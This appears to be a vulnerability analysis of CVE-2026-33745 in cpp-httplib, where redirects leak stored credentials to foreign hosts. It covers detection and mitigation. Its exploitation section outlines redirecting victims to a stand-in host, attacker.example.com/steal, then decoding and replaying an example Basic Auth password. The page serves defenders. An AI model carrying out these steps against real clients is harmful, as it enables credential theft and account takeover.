CVE-2026-33745: 
Homebrew vulnerability analysis and mitigation

CVE-2026-33745 is a credential disclosure vulnerability in cpp-httplib, a C++11 single-file header-only cross-platform HTTP/HTTPS library. Prior to version 0.39.0, the HTTP client forwards stored Basic Auth, Bearer Token, and Digest Auth credentials to arbitrary hosts when following cross-origin HTTP redirects (301/302/307/308). A malicious or compromised server can redirect the client to an attacker-controlled host, which then receives the plaintext credentials in the Authorization header. The vulnerability affects all versions up to and including 0.38.0, and was disclosed on March 25–27, 2026. It carries a CVSS v3.1 base score of 7.4 (High) (GitHub Advisory).

The root cause (CWE-200, CWE-522) lies in a logic flaw within ClientImpl::redirect(). When a cross-origin redirect is detected, create_redirect_client() correctly strips the Authorization header from the request object, but then calls setup_redirect_client(), which re-attaches all stored credentials (Basic Auth, Bearer Token, Digest Auth) to the new client targeting the foreign host. Subsequently, prepare_default_headers() re-injects the Authorization header from the client's stored credentials, making the initial header stripping ineffective. An additional issue exists: there is no protection against HTTPS-to-HTTP downgrade redirects, meaning credentials originally transmitted over TLS can be silently sent in cleartext after a redirect. Exploitation requires that the victim client has set_follow_location(true) enabled and any authentication method configured (GitHub Advisory).

Successful exploitation allows an unauthenticated attacker controlling or compromising a server to intercept plaintext Basic Auth usernames/passwords, Bearer Tokens (including JWTs and API keys), and Digest Auth credentials by issuing a cross-origin redirect to an attacker-controlled host. The stolen credentials can then be replayed against the originally targeted service, enabling unauthorized access, account takeover, or further lateral movement within the affected environment. Confidentiality and integrity impacts are both rated High, as credential theft can lead to full account compromise on dependent services (GitHub Advisory).

A complete, standalone proof-of-concept (PoC) C++ program is publicly available in the GitHub Security Advisory, demonstrating credential leakage by setting up two local HTTP servers and a victim client. The PoC confirms that the base64-encoded Authorization header is forwarded to the attacker's server upon redirect. There is no evidence of in-the-wild exploitation at this time, and the EPSS score is approximately 0.031% (very low). The vulnerability is not currently listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (GitHub Advisory).

1. Setup attacker infrastructure: Deploy an HTTP server on an attacker-controlled host (e.g., attacker.example.com) with an endpoint (e.g., /steal) that logs all incoming request headers, including Authorization.
2. Compromise or control a legitimate server: Gain the ability to issue HTTP redirect responses (301/302/307/308) from a server that the victim client trusts (e.g., via open redirect, CDN compromise, or MITM on a non-TLS connection).
3. Trigger the redirect: When the victim cpp-httplib client (configured with set_follow_location(true) and any auth method) makes a request to the legitimate server, respond with a redirect pointing to the attacker's host: Location: http://attacker.example.com/steal.
4. Receive leaked credentials: The cpp-httplib client follows the redirect and re-attaches stored credentials to the new request, sending the Authorization header (e.g., Basic YWRtaW46U3VwZXJTZWNyZXRQYXNzd29yZDEyMyE=) to the attacker's server.
5. Decode and replay credentials: Decode the base64 Basic Auth value (e.g., admin:SuperSecretPassword123!) or extract the Bearer Token, then use these credentials to authenticate against the originally targeted service (GitHub Advisory).

• Network: Outbound HTTP requests from application servers to unexpected external hosts containing an Authorization header; HTTP redirect responses (301/302/307/308) from trusted servers pointing to unfamiliar or external hosts.
• Logs: Application or proxy logs showing Authorization headers forwarded to hosts different from the originally requested host; HTTP 3xx redirect chains crossing origin boundaries in access logs.
• File System: Presence of the cpp-httplib header (httplib.h) at version 0.38.0 or earlier in application source trees or build artifacts.
• Process Behavior: Unexpected outbound connections from application processes to external IPs immediately following connections to known API endpoints, consistent with redirect-following behavior (GitHub Advisory).

Upgrade cpp-httplib to version 0.39.0 or later, which fixes the issue by not copying authentication credentials to the redirect client for cross-origin redirects. As a workaround, disable automatic redirect following by not calling set_follow_location(true), and instead handle redirects manually, stripping credentials before following cross-origin redirects. Additionally, consider implementing network-level controls to block unexpected outbound connections from application servers. Developers should also audit for HTTPS-to-HTTP downgrade scenarios in their redirect handling (GitHub Advisory).

The vulnerability was reported by researchers thesanjok and SHOVAN-BLN and published via GitHub's Security Advisory program. The advisory draws explicit parallels to similar credential-leaking redirect bugs in other widely used HTTP client libraries, including CVE-2023-32681 (Python requests), CVE-2018-1000007 (curl/libcurl), and CVE-2022-27776 (curl/libcurl), contextualizing it as a recurring class of vulnerability. openSUSE issued a security announcement addressing the issue in their cpp-httplib packages, and Tenable's Nessus scanner (plugin 304174) added detection for the vulnerability (GitHub Advisory, openSUSE Advisory, Tenable Nessus).